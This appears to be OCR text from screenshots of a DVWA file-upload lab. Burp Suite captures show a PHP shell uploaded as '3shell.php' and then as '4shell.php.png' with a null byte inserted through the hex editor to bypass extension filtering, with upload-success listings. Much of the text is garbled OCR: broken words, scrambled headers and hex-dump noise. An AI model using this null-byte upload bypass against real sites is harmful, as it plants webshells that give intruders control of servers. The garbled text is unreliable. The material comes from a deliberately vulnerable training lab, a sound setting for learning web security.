Origi Raw	Headers teowa ell.p teowa	Edited request a Hex HTML <pre></pre>	Response Render Input type="; /hackable/up /Uar/WWU Ua_emai /Uar/WWU	submit" name="Upload" value="Up ploads/3shell.php succesfully v w/dvwa/hackable/uj l.png w/dvwa/hackable/uj	ploadst ploadst)re> ‡ 1s ‡ 1s	3			
origi Raw roo 1sho 1sho	Headers tCowa e11.p tCowa e11.p	Edited request a Hex HTML <pre></pre>	Response Render Input type="; /hackable/up /Var/www wa_emai /Var/www nell.phj	submit" name="Upload" value="Up ploads/3shell.php succesfully v w/dvwa/hackable/uj l.png w/dvwa/hackable/uj p dvwa_email.png	ploadst ploadst	ore≻ ‡ 1s ‡ 1s				
roo Raw 1sho 1sho roo	Headers Headers teowa =11.p teowa =11.p teowa	Edited request a Hex HTML 	Response Render Input type="; /hackable/up /var/www wa_emai /var/www nell.phj /var/www	submit" name="Upload" value="Up ploads/3shell.php succesfully v w/dvwa/hackable/uj l.png w/dvwa/hackable/uj p dvwa_email.png w/dvwa/hackable/uj	ploads ploads ploads ploads)re> # 1s # 1s # 1s	3			
roo Raw 1sho roo 1sho roo roo	Headers Headers (/div) t2Oowa e11.p t2Oowa e11.p t2Oowa t2Oowa	Edited request a Hex HTML <: <pre></pre>	Response Render Input type="; /hackable/ug /var/www nell.phj /var/www /var/www	submit" name="Upload" value="Up ploads/3shell.php succesfully u w/dvwa/hackable/uj l.png w/dvwa/hackable/uj p dvwa_email.png w/dvwa/hackable/uj w/dvwa/hackable/uj	ploads ploads ploads ploads ploads ploads)re>	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~			
roo Isho roo 1sho roo 1sho	Headers Headers tCowa ell.p tCowa ell.p tCowa tCowa ell.p	Edited request * Hex HTML */form> * * spbwa :/ ohp dvu (spbwa :/ ohp Zsl (spbwa :/ spbwa :/ ohp Zsl spbwa :/ ohp Zsl	Response Render Imput type="; /hackable/ug /var/www /var/www /var/www /var/www /var/www /var/www /var/www /var/www	submit" name="Upload" value="Up ploads/3shell.php succesfully u w/dvwa/hackable/uj l.png w/dvwa/hackable/uj p dvwa_email.png w/dvwa/hackable/uj w/dvwa/hackable/uj p 3shell.php dv	pload" /> ploaded!ploadst ploadst ploadst ploadst wa_emai	re>	s s s p ng			

• Null byte Injection

Target Ploag Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts	
Intercept, HTTP history WebSockets history Options	
Request to http://192.168.222.136.80	
Forward Drop Intercept is on Action	Comment this item
Raw Params Headers Hex	
POST /dvwa/vulnerabilities/upload/ HTTP/1.1	
Host: 192.168.222.136	
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0	
<pre>Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre>	
Accept-Language: en-GB, en; q=0.5	
Accept-Encoding: gzip, deflate	
kererer: http://ls.ies/auwa/winerabilities/upload/	
Content Type, milespath bin data, boundary-	
Contra sensitiv service diverses and the service of the service se	137rlcreg9giiu90 -
aconomividarsy interet.jotto.nhob2.rednine: actroupsvithpersistenada	ovincing syn juso,
Connection: close	
Upgrade-Insecure-Requests: 1	
276443266232757	
Content-Disposition: form-data; name="MAX_FILE_SIZE"	
100000	
276443266232757	
Content-Disposition: form-data; name="uploaded"; filename=" <mark>4shell.php.png</mark> "	
Content-Type: image/png	
Manhnho	
Content-Disposition: form-data: name="Upload"	
Upload	
276443266232757	

Intercept HT	and the second se		and door 1	repeater c	sequencer [Decoder	omparer Ext			or options 1	MIGILO						
	TTP history	WebSocke	ts history	Options													
Request to	http://192.16	68.222.136:8	0														
Forward		Drop	Intercept is	s on	Action	ľ											Comment this item
Davis Davis	U Vandar					,											
ST /dvwa/v	ulnerabil	s Hex Lities/up	load/ HTT	P/1.1													
st: 192.160	8.222.136	5 0 (Wind	ows NT 10	0: Win64:	x64: rw:	58 (l) Gerl	ro/20100101	Rirefor/S	8.0								
cept: text,	/html, app	lication	/xhtml+xm	l,applicat	ion/xml;q	=0.9,*/*;	q=0.8										
cept-Encod:	ing: gzip	b, deflat	. 5 e														
ferer: http ntent-Type:	p://192.1 : multipa	art/form-	data; bou	ulnerabili ndary=	ties/uplo	ad/	276443	3266232757									
ntent-Lengt okie: secu	th: 420 rity=low;	dbx-pos	tmeta=gral	bit=0-,1-,	2-,3-,4-,	5-,6-&adv	ancedstuff	=0-,1-,2-;	security_1	evel=0; re	member_tol	ten=Stu37E	rvdLCcPfS	waD7x4g; P	HPSESSID=	28or2snt15	037rlcreg9giju90;
opendivids: nnection: (=swingset close	,jotto,p	hpbb2,red	nine; acgr	oupswithp	ersist=na	la										
grade-Inse	cure-Requ	uests: 1															
ntent-Disp	osition:	form-dat	276443266: a; name="l	232757 MAX_FILE_S	IZE"												
1000																	
ntent-Disp	osition:	form-dat	276443266: a; name="1	232757 uploaded";	filename	="4shell.]	phpD.png"										
ntent-Type	: image/p	ong															
hhho																	
tent-Disp	osition:	form-dat	276443266: a; name="1	232757 Upload"													
oad																	
			276443266	232757													
tring: D)					C	onvert										
ext:																	
ex:																	
+																	
• •x Enco •44	oded f	or URI	L : 34	24	33	32	30	30	32	33	32	31	20	31	Va	va	(0143200432)3
+ ex Enco 44	oded f	50 r URI 30 61	_ 1 54 6e	34 74	55 65	32 6e	30 74	36 2d	3∠ 44	55 69	32 73	57 70	35 6f	57 73	69	0a 74	Content-Disposi
+ ex Enco 44	oded f 43 69 6e	30 6f 61	- 1 54 6e 6e 6d	34 74 3a 65	33 65 20 3d	52 6e 66 22	30 74 6f 75	30 2d 72 70	3∠ 44 6d 6c	55 69 2d 6f	52 73 64 61	57 70 61 64	55 6f 74 65	57 73 61 64	00 69 3b 22	0a 74 20 3b	roqq.2002.32.r Content-Disposi ion: form-data; name="uploade:
+ 944	oded f 37 43 69 6e 20	50 r URI 50 6f 61 66	-= 6e 6d 69	54 74 3a 65 6c	33 65 20 3d 65 70	32 6e 66 22 6e	30 74 6f 75 61	30 2d 72 70 6d	52 44 6d 6c 65	55 69 2d 6f 3d	52 73 64 61 22	57 70 61 64 34	35 6f 74 65 73	57 73 61 64 68	69 3b 22 65	0a 74 20 3b 6c	ro44520025215 Content-Dispos ion: form-data; name="uploade filename="4bb
+ 44	oded f 43 69 6e 20 6c 74	50 F URI 50 6f 6f 61 66 2e 65	-= 6e 6d 69 70 6e	54 74 3a 65 6c 68 74	33 65 20 3d 65 70 2d	52 6e 66 22 6e 44 54	30 74 6f 75 61 2e 79	30 2d 72 70 6d 70 70	52 44 6d 6c 65 6e 65	55 69 2d 6f 3d 67 3a	32 73 64 61 22 22 20	57 70 61 64 34 0d 69	55 6f 74 65 73 0a 6d	57 73 61 64 68 43 61	69 3b 22 65 6f 67	0a 74 20 3b 6c 6e 65	ro++32002327 Content-Dispos ion: form-data; name="uploade filename="4bh LphpD.png"Con tent-Type: imag
+ ex Enco 44	oded f 37 43 69 6e 20 6c 74 2f	500 URL 500 61 66 200 65 70 24	-= 6e 6d 69 70 6e 6e	54 74 3a 65 6c 68 74 67	33 65 20 3d 65 70 2d 0d	32 6e 66 22 6e 44 54 0a	30 74 6f 75 61 2e 79 0d	56 2d 72 70 6d 70 70 0a	32 44 6d 6c 65 6e 65 4d	55 69 2d 6f 3d 67 3a 61	52 73 64 61 22 22 20 6e	57 70 61 64 34 0d 69 68	55 6f 74 65 73 0a 6d 6e	57 73 61 64 68 43 61 68	69 3b 22 65 6f 67 6f	0a 74 20 3b 6c 6e 65 0a	r0++32004347 Content-Dispos ion: form-data; name="uploade filename="4sh LphpD.png"Con tent-Type: imag /pngManhnho
+ 944	oded f 43 69 6e 20 6c 74 2f 2d 37	30 6f 6f 61 66 2e 65 70 2d 36	34 6e 6e 6d 69 70 6e 6e 6e 2d 34	54 74 3a 65 6c 68 74 67 2d 34	33 65 20 3d 65 70 2d 0d 2d 33	32 6e 66 22 6e 44 54 0a 2d 32	30 74 6f 75 61 2e 79 0d 2d 36	30 2d 72 70 6d 70 70 0a 2d 36	32 44 6d 6c 65 6e 65 4d 2d 32	55 69 2d 6f 3d 67 3a 61 2d 33	32 73 64 61 22 22 20 6e 20 6e 2d 32	57 70 61 64 34 0d 69 68 2d 37	55 6f 74 65 73 0a 6d 6e 2d 35	57 73 61 64 68 43 61 68 2d 37	00 69 3b 22 65 6f 6f 6f 2d 0d	0a 74 20 3b 6c 6e 65 0a 32 0a	70+432002.2217 Content-Dispos ion: form-data; name="uploade filename="4she LphpD.png"Con tent-Type: imag /pngManhoho
* ex Enco ,44	37 43 69 6e 20 6c 74 2f 2d 37 43 69	30 6f 6f 61 66 2e 65 70 2d 36 6f 6f	-: 6e 6d 69 70 6e 6e 6e 2d 34 6e 6e	34 74 3a 65 6c 68 74 67 2d 34 74 3a	33 65 20 3d 65 70 2d 0d 2d 33 65 20	32 6e 66 22 6e 44 0a 2d 32 6e 66	30 74 6f 75 61 2 9 0d 2d 36 74 6f	2d 72 70 6d 70 0a 2d 36 2d 72	52 44 6d 6c 65 65 4d 2d 32 44 6d	55 69 2d 6f 3d 67 3a 61 2d 33 69 2d	52 73 64 61 22 20 6e 20 6e 20 32 73 64	57 70 61 64 34 06 69 68 2d 37 70 61	55 6f 74 65 73 0a 6d 6e 2d 35 6f 74	57 73 61 64 68 43 61 68 2d 37 73 61	00 69 3b 22 65 6f 67 6f 2d 0d 69 3b	08 74 20 3b 6c 66 65 0a 32 0a 74 20	70+432002271 Content-Dispos ion: form-data; Iname="uploade filename="4she LphpD png"Con tent-Type: mag /pngManhaho 7644326822757 Content-Dispost on: form-data; on: form-data;
* 944	oded f 43 69 6e 20 6c 20 6c 21 74 2f 2d 37 43 69 6e 96 60 96	30 6f 6f 6f 66 2e 65 70 2d 36 6f 6f 6f 6f		54 74 38 65 60 68 74 67 20 34 74 38 65	33 65 20 3d 65 70 2d 0d 2d 33 65 20 3d	22 6e 66 22 6e 44 0a 2d 32 6e 66 66 22	30 74 6f 75 61 2e 79 0d 2d 36 74 6f 75	30 2d 72 70 6d 70 70 0a 2d 36 2d 72 70	52 44 6d 65 65 6e 65 4d 2d 32 44 6d 6c	33 69 2d 67 3d 67 3a 61 2d 33 69 2d 61	22 73 64 61 22 22 20 6e 2d 32 73 64 64	37 70 81 64 34 06 69 68 2d 37 70 61 61	55 6f 74 65 73 0a 6d 6e 2d 35 6f 74 65	57 73 61 64 68 43 61 68 2d 37 73 61 64	00 69 3b 22 65 6f 67 6f 2d 0d 69 3b 22	0a 74 20 3b 6c 6e 65 0a 32 0a 74 20 3b	/0++320022/17 Content-Dispos ion: form-data; name='uploade filename='4she LphpD png*Con tent-Type: mag /pngManhoho
+ ex Ence 44	oded f 43 69 6e 20 6c 74 2f 2d 37 43 69 6e 20 6c 6c	300 6f 6f 6f 66 2e 65 70 2d 36 6f 6f 6f 61 66 2e		54 74 3a 6c 68 74 67 2d 34 74 3a 65 6c 68	33 65 20 3d 65 70 2d 33 65 20 3d 65 20 3d 65 70	32 6e 66 22 6e 44 34 32 32 6e 66 22 6e 66 22 6e 00	30 74 61 75 61 2e 79 0d 2d 36 74 6f 75 61 2e	30 2d 72 70 6d 70 70 0a 2d 36 2d 36 2d 72 72 70 6d 70	52 44 6d 65 66 65 4d 2d 32 2d 32 44 6d 60 65 66	23 69 2d 6f 3d 67 3a 61 2d 33 69 2d 6f 3d 67	32 73 64 22 22 20 6e 20 32 73 64 61 22 22	57 70 61 64 34 0d 68 2d 37 70 61 61 64 34	35 6f 74 65 73 0a 66 2d 35 6f 74 65 73 0a	57 73 61 68 43 61 68 2d 37 73 61 64 64 64 43	00 69 3b 22 65 6f 6f 2d 0d 69 3b 22 65 6f	08 74 20 3b 6c 6e 65 0a 32 0a 74 20 3b 6c 6e	70+4320022011 Content-Disposion: Iname=Tuploade filename=4ahe LphpD.png*Con tent-Type: Image //pgManhoho 7644326822757 Content-Disposit on: form-data; name=*aploaded*; filename=4ahel Lphp.png*Con
ex Enco	57 43 69 6e 20 6c 74 21 23 43 69 6e 20 6c 74	30 6f 6f 66 2e 65 70 2d 36 6f 6f 6f 6f 66 2e 65	34 6e 6d 69 70 6e 6e 6e 6e 6e 6e 6e 6d 69 70 6e 66 66 66 66 66 66 66 66 66 66 66 66	54 74 3a 65 6c 68 74 34 67 2d 34 74 3a 65 6c 68 74	33 65 20 3d 65 70 2d 33 2d 33 20 3d 65 20 3d 65 70 2d	32 6e 66 22 6e 44 32 6e 6e 6e 6e 6e 6e 6e 90 54	30 74 6f 75 61 2e 79 0d 2d 36 74 6f 75 61 2e 79	30 2d 72 70 6d 70 70 0 8 2d 36 2d 72 70 6d 70 70 70 70	52 44 6d 6c 65 66 65 4d 62 32 44 6d 6c 65 66 66 65	55 69 2d 6f 3d 67 3a 61 2d 33 69 2d 69 2d 67 3a	32 73 64 61 22 20 6e 2d 32 73 64 61 22 22 22 20	57 70 61 64 34 0d 69 68 2d 37 70 61 64 34 0d 69	55 6f 74 65 73 0a 6d 2d 35 6f 74 65 73 0a 6d	57 73 61 64 68 43 61 68 2d 37 73 61 64 68 43 61	00 69 3b 65 6f 6f 2d 0d 9 3b 22 65 6f 67	08 74 20 3b 6c 6e 65 32 0a 32 0a 32 0a 32 0a 32 0a 6e 6e 65	70+4320022217 Content-Dispos ion: form-data; name="uploaded filename-"4she LphDp.Dpng"Con tent-Type: imag /pngManhhot
* ex Ence 44	oded f 37 43 69 6e 20 6c 74 2f 2d 37 43 69 6e 20 6c 74 74 74	30 6f 6f 66 2e 66 2e 65 70 2d 36 6f 6f 6f 66 2e 65 WebSocket	- 5 6e 6d 69 70 6e 6e 2d 34 6e 6e 6d 69 70 6e 8d 69 70 6e 8d 69 70 6e 8d 69 70 6e 70 8 70 70 8 70 8 70 8 70 8 70 8 70 8	54 74 3a 65 6c 68 74 67 2d 34 74 34 65 6c 68 74 9ptions	55 65 20 3d 65 70 2d 0d 2d 33 65 20 3d 65 70 2d	32 6e 66 22 6e 44 43 2d 32 6e 66 22 6e 66 22 6e 90 54	30 74 6f 75 2e 79 0d 2d 36 74 6f 75 2e 79 0d 2d 36 74 6f 75 9 79	30 2d 72 70 6d 70 70 0a 2d 2d 2d 2d 2d 70 6d 70 70 70	52 44 6d 6c 65 66 65 4d 62 32 44 6d 6c 65 66 65 66 65	33 69 2d 6f 3d 67 3a 61 2d 33 69 2d 6f 3d 67 3a	32 73 64 61 22 20 6e 22 20 6e 24 32 73 64 61 22 22 20	57 70 61 64 34 0d 69 68 2d 37 70 61 64 34 0d 69	35 6f 74 65 73 0a 6d 65 2d 35 6f 74 65 73 0a 6d	57 73 61 64 68 43 61 68 61 64 64 64 43 61	00 69 3b 22 65 6f 6f 2d 0d 69 3b 22 65 6f 67	08 74 20 3b 6c 66 65 0a 74 20 3b 6c 6e 65	Content-Dispos ion: form-data; name"-uploade filename="4shi LphpD png"Con tent-Type: imag /ngManthob
+ ex Enco 44	57 43 69 66 20 6c 74 21 22 22 66 69 66 69 66 20 66 74 74 71 TP history	30 6f 61 66 22 65 2d 36 6f 6f 61 66 66 22 65 WebSocket 38 222,136.8	- = 6e 6d 6d 69 70 6e 6e 6d 69 70 6e 6d 69 70 6e 8 6d 69 70 6e 60 60 9 70 60 8 9 70 60 8 9 9 70 70 70 70 70 70 70 70 70 70 70 70 70	54 74 3a 65 6c 68 74 67 2d 34 74 3a 65 6c 68 74 2d 34 74 3a 95 96 74	55 65 20 3d 65 70 2d 0d 0d 2d 33 65 70 3d 65 70 2d	52 66 66 22 64 54 0a 2d 32 66 66 22 66 66 22 66 54	30 74 6f 51 2e 79 0d 2d 36 74 4 6f 6f 6f 6f 75 61 2e 79 9	50 2d 72 70 6d 70 0a 2d 2d 2d 2d 2d 2d 70 6d 70 70 70	32 44 6d 65 65 65 4d 22 44 6d 6c 65 66 66 65	33 69 2d 6f 3d 67 3a 61 2d 33 2d 6f 3d 67 3a	32 73 64 61 22 20 6e 22 20 6e 24 32 73 64 61 22 22 20	57 70 61 64 34 0d 69 61 61 64 34 0d 69	55 6f 74 65 73 0a 6d 66 62 2d 35 6f 74 65 73 0a 6d	57 73 64 68 43 61 61 64 61 64 68 43 61	00 69 3b 22 65 6f 2d 0d 69 3b 22 65 6f 67	08 74 20 3b 6c 6e 65 0a 74 20 3b 5c 6e 65	10+4-32002.3217 Content-Dispos ion: form-data; name"-uploade filename-"4sha LohpD png"Con tent-Type: imag /ngManhho 2 76443268232757 Content-Disposit ion: form-data; name-"uploaded" filename="4shel Lohp.png"Con tent-Type: image
* ex Enco 44 hercept [HT] P Request to Forward	37 43 69 6e 20 6c 74 21 22 69 60 20 6c 74 37 43 69 60 72 74 TTP history http://192.16	30 6f 6f 61 62 22 65 70 2d 36 6f 6f 6f 6f 6f 66 22 8 22 23 8 70 24 36 70 20 38 22 38 20 57 70 20 38 70 70 20 57 70 20 57 70 70 70 70 70 70 70 70 70 70 70 70 70	- 2 6 6 6 6 6 6 6 6 6 6 6 6 6	34 74 3a 65 6c 68 74 67 2d 34 34 34 34 36 6c 68 74 30 9 74 30 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9	33 65 20 3d 65 70 2d 2d 33 65 20 0d 2d 33 33 65 20 3d 65 20 0d 2d 2d 34 65 20 0d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	22 66 66 22 68 44 54 32 32 32 68 66 68 22 66 54	30 74 6f 51 2e 79 0d 2d 2d 36 74 6f 6f 6f 75 61 2e 79 9	50 2d 72 70 6d 70 0a 2d 2d 2d 2d 2d 70 6d 70 70 70	32 44 6d 65 65 65 4d 32 32 32 44 6d 6c 65 66 66 65	55 69 2d 61 3d 67 3a 61 2d 61 33 69 2d 61 3d 67 3a	52 73 64 61 22 22 20 6e 20 6e 20 6e 32 73 84 61 22 22 20	57 70 61 64 34 0d 68 2d 37 70 68 37 68 434 0d 69	55 6f 74 65 73 0a 66 2d 35 35 6f 73 65 73 0a 6d	57 73 61 64 68 43 61 68 2d 37 73 61 64 68 43 61	00 3b 22 65 67 67 67 2d 0d 09 3b 22 65 6f 67	08 74 20 30 6c 65 0a 32 0a 74 20 3b 6c 6e 65	Comment this item
* ex Enco 44 tercept HT Request to Forward taw Parame	oded f 43 69 60 20 60 20 60 20 60 74 21 21 20 60 60 60 60 60 60 60 60 60 74 17 19 10 10 10 10 10 10 10 10 10 10	30 6f 6f 6f 6f 66 2e 6f 68 2ve 65 WebSocket 38 Orop a a	-= 6e 6e 6d 69 70 6e 6e 6d 64 69 70 6e 6e 6d 69 70 6e 70 6e 70 6e 70 6e 70 60 70 60 70 60 70 60 60 70 60 60 60 60 60 60 60 60 60 60 60 60 60	34 74 3a 65 6c 68 74 67 2d 34 74 3a 65 6c 68 74 74 9ptions	33 65 20 3d 65 70 2d 2d 33 65 20 3d 65 20 3d 65 20 3d 45 70 2d	22 66 66 22 66 44 54 0a 20 32 36 66 66 66 62 22 66 54	30 74 61 75 61 2e 79 0d 2d 36 74 61 75 61 75 61 75 979	50 2d 72 70 6d 70 0a 2d 2d 2d 22d 70 6d 70 70 6d 70 70	52 44 6d 65 65 65 4d 22 32 32 44 6d 6c 65 65 66 65	53 69 2d 6f 3d 67 3a 61 2d 33 69 2d 6f 3d 6f 3a	32 73 64 61 22 20 6e 20 6e 20 6e 23 32 73 64 61 22 22 20	57 70 61 64 34 0d 69 68 2d 37 70 61 64 34 0d 69	55 6f 74 65 73 0a 66 23 35 35 6f 74 65 73 66 63 64	57 73 61 64 68 43 66 2d 37 73 61 64 68 43 61	00 3b 22 65 67 67 67 2d 0d 09 3b 22 65 67 67	08 74 20 30 6c 65 08 32 08 74 20 3b 6c 66 66 65	ro++s2002321 Content-Diposi ion: form-data, name=-upladet lphpD png*Con tent-Type: image /ngtManhho
* ex Enco 44 At P Request to Forward Raw Parame T /drwa/ry to 192 161	37 43 69 20 6c 20 6c 74 2f 2d 37 43 69 6c 74 171 http://192.16 101 101 101 102 103 104 105 105 106	30 6f 6f 6f 6f 66 2d 36 6f 61 62 8 Acze 8 Hex	-=	34 74 3a 65 6c 68 74 67 2d 34 74 3a 65 6c 68 74 74 3a 3 0 10000	33 65 20 3d 65 70 2d 2d 2d 33 65 20 3d 65 20 3d 65 20 3d 45 20 2d	22 66 66 22 66 44 64 64 24 26 66 62 22 66 54	30 74 61 75 61 2e 79 0d 2d 36 36 74 61 75 61 79 79 79	50 2d 72 70 6d 70 0a 2d 2d 2d 2d 2d 70 6d 70 70 6d 70 70	52 44 6d 65 65 65 4d 22 24 44 6d 6c 65 65 65	53 69 2d 61 3d 67 3a 61 2d 33 69 2d 61 3d 61 3a	32 73 64 61 22 20 6e 20 6e 20 6e 23 27 3 64 61 22 22 20	57 70 61 64 34 0d 69 68 2d 37 70 61 64 34 0d 69	25 6f 74 65 73 0a 66 24 25 35 6f 74 65 73 0a 6d	57 73 61 64 68 43 66 2d 37 73 61 64 68 43 61	00 3b 22 65 67 67 67 2d 0d 09 3b 22 65 67 67	08 74 20 30 6c 65 08 32 08 74 20 3b 6c 66 66 65	ro++s2002221 Content-Disposi ion: form-data; name=*upladet LphpD;png*Con tent-Type: imgg /pngManhho 7644326823275 7644326823275 Content-Disposi ton: form-data; /pngManhho Content-Disposit Lphp;png*Con tent-Type: imgg Comment this item
ex Ence 4 4 6 6 6 6 6 6 6 6 6 6 6 6 6	37 43 69 62 20 6c 74 2f 2d 37 43 69 6c 74 7 43 69 6c 74 TTP history http://192.16 0.222.126 Notable Action 11 ar / 5 Mossillar / 5	30 6f 6f 6f 6f 66 20 36 6f 61 62 63 64 65 WebSocket 38 Mep 11:1:1:s/up: 10:1:1:1:s/up:		34 74 3a 65 6c 68 74 67 2d 34 34 34 34 34 36 6c 68 74 9 0 00 0 0 1 0 1 0 1 0 1 0 1 0 1 0 1 0	35 65 20 3d 65 70 2d 0d 2d 33 85 20 3d 65 20 3d 65 20 3d 4 65 20 2d	22 66 66 22 66 44 64 22 66 66 22 66 62 22 66 54	30 74 61 75 61 2e 79 0d 2d 36 36 74 61 75 61 2e 79	50 2d 72 70 6d 2d 2d 2d 2d 2d 70 6d 70 70 70 70 70 70	32 44 6d 6c 65 66 65 4d 22 24 22 44 6c 6c 65 6e 65	33 69 2d 61 3d 67 3a 61 2d 33 69 2d 61 3d 67 3a	32 73 64 61 22 22 20 6e 20 6e 32 32 32 34 61 22 22 20	57 70 61 64 34 0d 69 68 2d 37 70 61 64 34 0d 69	25 6f 74 65 73 0a 66 2d 35 35 6f 74 65 73 0a 6d	57 73 61 64 68 43 66 2d 37 73 61 64 68 37 73 61	00 3b 22 65 67 67 67 2d 00 69 3b 22 65 67 67	08 74 20 3b 66 65 08 32 08 32 08 32 08 66 66 66 65	ro++s20025217 Content-Disposit ion: form-data; name=-uploadet LphpD;png"Con tent-Type: image /pngManhiho 7644326823275 Content-Disposit ion: form-data; name='uploadet"; fiename='4shell Lphppng"Con tent-Type: image
4 lex Ence 644 5 5 6 6 6 6 7 6 7 6 7 6 7 6 7 7 8 8 8 9 9 9 9 9 9 9 9 9 9 9 9 9	oded f 37 69 60 20 6c 74 2d 37 43 69 6c 74 37 66 6c 74 56 6c 74 58 Headers ulnerabil 0.00000000000000000000000000000000000	30 6f 6f 6f 6f 66 2e 65 70 2d 36 6f 6f 6f 6f 6f 6f 6f 6f 6f 6	-=	34 74 3a 65 66 68 74 2d 34 74 3a 65 66 68 74 90000	33 65 20 3d 65 70 2d 33 65 20 3d 65 20 2d 2d 33 4 65 20 2d 2d 2d 2d 4 5 70 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	32 66 66 22 67 44 64 68 68 68 68 68 68 68 54 54 54	30 74 6f 75 2e 79 0d 2d 36 36 74 6f 75 61 2e 79 79	50 2d 72 70 6d 2d 2d 2d 2d 72 70 6d 70 70 70 70 70 70	32 44 6d 6c 65 64 4d 2d 2d 2d 22 44 6c 65 66 66 65	23 69 2d 67 3d 67 3a 61 2d 61 2d 61 3d 61 3d 67 3a	32 73 64 61 22 22 22 20 6e 2d 32 73 64 61 22 20	37 70 61 64 34 0d 69 68 2d 37 70 61 34 37 64 34 0d 69	55 6f 74 65 73 0a 66 2d 35 6f 74 65 73 0a 66	57 73 61 64 43 68 24 37 73 61 64 68 63 61	00 3b 22 65 6f 6f 2d 00 69 3b 22 26 5 6f 67	08 74 20 3b 6c 66 66 0a 32 0a 74 20 3b 6c 6c 66 65	ro++s2002221 Content-Disposition ion form-data; name=*uploade flename=*data lapbQ.ngrCon tent-Type: image /pngManhinko
4 lex Ence 644 5 6 6 6 6 7 6 7 7 8 8 8 9 9 9 9 9 9 9 9 9 9 9 9 9	oded f 37 43 69 6e 20 6c 74 21 22 37 43 69 6e 20 6c 74 37 43 66 20 6c 74 9 6c 74 10	30 6f 6f 6f 6f 66 66 66 66 66 66		54 74 3a 65 66 68 74 67 2d 34 74 3a 65 66 68 74 9 7(1.1 0; Win64; , applicat	33 65 20 3d 65 70 2d 33 65 20 3d 65 20 2d 2d 2d 33 4 65 20 2d 2d 2d 57 20 2d 2d 57 2d 2d 2d 57 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	32 66 66 22 64 0a 2d 32 66 66 62 22 66 60 54 54	30 74 61 75 61 2e 79 0d 2d 36 36 74 61 75 61 72 9 79 9 0d 2d 36 74 9 79	50 2d 72 70 6d 2d 2d 2d 2d 2d 2d 70 6d 70 70 70 70 70	32 44 6d 65 66 65 4d 2d 32 44 66 65 66 66 65	2.3 69 2d 61 3d 61 2d 33 69 2d 61 3d 61 3d 67 3a	32 73 64 61 22 22 22 20 6e 2d 32 73 64 61 22 20	37 70 61 64 34 0d 69 68 2d 37 70 61 34 34 34 0d 69	25 6f 74 65 73 0a 66 66 2d 35 6f 74 65 73 0a 65 73 0a 6d	57 73 61 64 43 68 2d 37 73 61 64 68 43 61	00 69 3b 22 65 6f 6f 2d 0d 69 3b 22 65 6f 6f 67	08 74 20 3b 6c 6e 65 0a 32 0a 74 20 3b 6c 6c 65	r0++32002321 Content-Diport ion: form-data; name=*uploade filename=*data LahpD png*Con tent-Type: image /ngManhho 2 7644326822757 Content-Dispost ion: form-data; name*uploaded* filename=*dehel Lahp png*Con tent-Type: image
 A Encode A Encode<	oded f 43 69 66 20 6c 74 21 22 43 69 6c 6c 74 10 10 10 10 10 10 10 10 10 10	30 6f 6f 6f 61 66 20 65 70 2d 36 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 6f 82221368 8700 		34 74 3a 65 6c 68 74 2d 34 74 3a 65 6c 68 74 9 70.1 0; Win64; , applicat	35 65 20 3d 65 70 2d 2d 33 65 20 3d 65 20 3d 65 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 55 20 0d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	22 66 66 22 6e 64 66 66 62 26 66 66 62 54 54	30 74 61 75 61 2e 79 0d 2d 36 74 61 75 61 2e 79 79 0d 2d 36 74 9 79 79	50 2d 72 70 6d 2d 2d 2d 2d 2d 2d 2d 70 6d 70 70 70 70 70 264 225 70 70 20 70 20 20 20 70 20 70 70 70 70 70 70 70 70 70 70 70 70 70	32 44 6d 6c 65 6e 65 4d 2d 32 44 6d 6c 6c 65 66 65 85	2.3 69 2d 6f 3d 67 3a 61 2d 69 2d 67 3d 69 2d 6f 3d 67 3a	32 73 64 61 22 22 22 20 6e 20 6e 20 6 4 1 22 20	37 70 61 64 0d 68 2d 37 70 61 64 34 0d 69	55 67 74 65 73 0a 66 2d 35 67 74 65 73 0a 65 73 0a 65	57 73 61 64 68 43 61 73 61 64 68 43 61	00 69 3b 22 65 6f 6f 2d 0d 69 3b 22 65 6f 67	08 74 20 30 66 65 08 32 08 32 08 32 08 66 66 65	r0++32002321 Content-Disposition ion: form-data; name=*uploade filename=*data LahpD.png*Con tent-Type: img /ngManhho 2 7644326032275 Content-Disposition. filename=*4shel Lahp.png*Con tent-Type: imge Comment this item
* ex Enco 44 144 144 144 144 144 144 144	oded f 43 69 66 20 66 20 66 21 24 23 37 43 69 66 60 60 60 74 74 74 74 75 10 10 10 10 10 10 10 10 10 10	500 URI 500 Gf 6f 6f 6f 6f 6f 6f 6f 6f 6f 6		54 74 3a 65 6c 68 74 74 74 3a 65 6c 68 74 9ptions 9/1.1 0; Win64; , applicat 01, -, -, -, -, -, -, -, -, -, -, -, -, -,	33 65 20 3d 65 70 2d 2d 33 65 20 3d 65 20 3d 65 20 3d 65 20 3d 4 5 20 3d 4 5 20 2d 2d 3d 5 5 20 2d 2d 2d 3d 65 20 2d 2d 2d 2d 5 5 20 2d 2d 5 5 70 2d 2d 5 5 70 2d 2d 5 5 70 2d 2d 5 5 70 2d 65 70 2d 65 70 2d 65 70 2d 65 70 2d 65 70 2d 2d 70 2d 70 2d 70 2d 70 2d 70 2d 70 2d 70 2d 70 2d 2d 2d 70 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d	22 66 66 22 6e 44 32 6e 66 62 26 6e 66 54 54 54 54 54 55 4 55 4 55 4 55	30 74 6f 75 61 2e 79 0d 2d 36 74 6f 75 61 2e 79 0d 2d 36 74 6f 75 61 2e 79 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0	50 2d 72 70 6d 2d 2d 2d 2d 2d 2d 70 6d 70 70 70 70 70 70 70 70 70 70 70 70 70	32 44 66 65 66 65 40 20 32 44 60 65 66 65 65 65 83.0	2.3 69 2d 6f 3d 67 3a 61 2d 33 69 2d 67 3d 67 3a	32 73 64 61 22 22 20 66 20 64 61 22 20	57 70 61 64 34 00 68 20 37 70 61 64 34 00 69 9	55 6f 74 65 73 0a 6d 2d 35 6f 